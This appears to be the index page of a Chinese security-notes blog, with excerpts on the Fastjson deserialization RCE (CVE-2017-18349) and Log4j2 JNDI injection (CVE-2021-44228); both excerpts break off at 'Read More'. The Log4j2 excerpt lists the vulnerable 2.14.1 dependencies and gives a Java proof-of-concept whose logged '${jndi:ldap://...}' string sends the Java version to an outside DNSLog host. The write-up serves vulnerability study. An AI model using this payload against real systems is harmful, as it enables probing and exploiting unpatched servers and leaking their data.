Notes Site.

Fastjson 远程命令执行漏洞(CVE-2017-18349)

漏洞概述

fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

参考链接:

序列化和反序列化

对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。

Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作:

  • JSON.toJSONString
  • JSON.parseObject/JSON.parse

反序列化时不指定特定的类,那么Fastjson就默认将一个JSON字符串反序列化为一个JSONObject。需要注意的是,对于类中private类型的属性值,Fastjson默认不会将其序列化和反序列化。

Fastjson中的@type

Read More

Log4j2 lookup JNDI注入(CVE-2021-44228)

漏洞概述

Log4j2在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j2的漏洞

影响版本

Apache Log4j 2.x <= 2.14.1

Log4j2依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>

DNSLog

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class Log4j2 {
private static final Logger logger = LogManager.getLogger(Log4j2.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://${sys:java.version}.hzitqenuvp.dgrh3.cn}");
}
}

Java版本信息呈现

Read More
⬆︎TOP